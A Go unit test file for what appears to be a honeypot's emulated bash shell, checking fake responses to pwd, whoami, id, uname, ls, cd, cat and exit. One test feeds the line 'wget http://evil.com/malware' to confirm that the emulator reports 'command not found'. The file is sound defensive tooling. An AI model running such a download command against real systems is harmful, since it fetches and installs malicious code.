package bash import ( "strings" "testing" ) func newTestState() *shellState { fs := newFilesystem("testhost") return &shellState{ cwd: "/root", username: "root", hostname: "testhost", fs: fs, } } func TestCmdPwd(t *testing.T) { state := newTestState() r := dispatch(state, "pwd") if r.output != "/root" { t.Errorf("pwd = %q, want %q", r.output, "/root") } } func TestCmdWhoami(t *testing.T) { state := newTestState() r := dispatch(state, "whoami") if r.output != "root" { t.Errorf("whoami = %q, want %q", r.output, "root") } } func TestCmdHostname(t *testing.T) { state := newTestState() r := dispatch(state, "hostname") if r.output != "testhost" { t.Errorf("hostname = %q, want %q", r.output, "testhost") } } func TestCmdId(t *testing.T) { state := newTestState() r := dispatch(state, "id") if !strings.Contains(r.output, "uid=0(root)") { t.Errorf("id output = %q, want uid=0(root)", r.output) } } func TestCmdUnameBasic(t *testing.T) { state := newTestState() r := dispatch(state, "uname") if r.output != "Linux" { t.Errorf("uname = %q, want %q", r.output, "Linux") } } func TestCmdUnameAll(t *testing.T) { state := newTestState() r := dispatch(state, "uname -a") if !strings.HasPrefix(r.output, "Linux testhost") { t.Errorf("uname -a = %q, want prefix 'Linux testhost'", r.output) } } func TestCmdLs(t *testing.T) { state := newTestState() r := dispatch(state, "ls") if r.output == "" { t.Error("ls should return non-empty output") } } func TestCmdLsPath(t *testing.T) { state := newTestState() r := dispatch(state, "ls /etc") if !strings.Contains(r.output, "passwd") { t.Errorf("ls /etc = %q, should contain 'passwd'", r.output) } } func TestCmdLsNonexistent(t *testing.T) { state := newTestState() r := dispatch(state, "ls /nope") if !strings.Contains(r.output, "No such file") { t.Errorf("ls /nope = %q, should contain 'No such file'", r.output) } } func TestCmdCd(t *testing.T) { state := newTestState() r := dispatch(state, "cd /tmp") if r.output != "" { t.Errorf("cd /tmp should produce no output, got %q", r.output) } if state.cwd != "/tmp" { t.Errorf("cwd = %q, want %q", state.cwd, "/tmp") } } func TestCmdCdNonexistent(t *testing.T) { state := newTestState() r := dispatch(state, "cd /nope") if !strings.Contains(r.output, "No such file") { t.Errorf("cd /nope = %q, should contain 'No such file'", r.output) } } func TestCmdCdNoArgs(t *testing.T) { state := newTestState() state.cwd = "/tmp" dispatch(state, "cd") if state.cwd != "/root" { t.Errorf("cd with no args should go to /root, got %q", state.cwd) } } func TestCmdCdRelative(t *testing.T) { state := newTestState() state.cwd = "/var" dispatch(state, "cd log") if state.cwd != "/var/log" { t.Errorf("cwd = %q, want %q", state.cwd, "/var/log") } } func TestCmdCdDotDot(t *testing.T) { state := newTestState() state.cwd = "/var/log" dispatch(state, "cd ..") if state.cwd != "/var" { t.Errorf("cwd = %q, want %q", state.cwd, "/var") } } func TestCmdCat(t *testing.T) { state := newTestState() r := dispatch(state, "cat /etc/hostname") if !strings.Contains(r.output, "testhost") { t.Errorf("cat /etc/hostname = %q, should contain 'testhost'", r.output) } } func TestCmdCatNonexistent(t *testing.T) { state := newTestState() r := dispatch(state, "cat /nope") if !strings.Contains(r.output, "No such file") { t.Errorf("cat /nope = %q, should contain 'No such file'", r.output) } } func TestCmdCatDirectory(t *testing.T) { state := newTestState() r := dispatch(state, "cat /etc") if !strings.Contains(r.output, "Is a directory") { t.Errorf("cat /etc = %q, should contain 'Is a directory'", r.output) } } func TestCmdCatMultiple(t *testing.T) { state := newTestState() r := dispatch(state, "cat /etc/hostname /root/README.txt") if !strings.Contains(r.output, "testhost") || !strings.Contains(r.output, "DO NOT MODIFY") { t.Errorf("cat multiple files = %q, should contain both file contents", r.output) } } func TestCmdExit(t *testing.T) { state := newTestState() r := dispatch(state, "exit") if !r.exit { t.Error("exit should set exit=true") } } func TestCmdLogout(t *testing.T) { state := newTestState() r := dispatch(state, "logout") if !r.exit { t.Error("logout should set exit=true") } } func TestCmdNotFound(t *testing.T) { state := newTestState() r := dispatch(state, "wget http://evil.com/malware") if !strings.Contains(r.output, "command not found") { t.Errorf("unknown cmd = %q, should contain 'command not found'", r.output) } if !strings.HasPrefix(r.output, "wget:") { t.Errorf("unknown cmd = %q, should start with 'wget:'", r.output) } } func TestCmdEmptyLine(t *testing.T) { state := newTestState() r := dispatch(state, "") if r.output != "" || r.exit { t.Errorf("empty line should produce no output and not exit") } }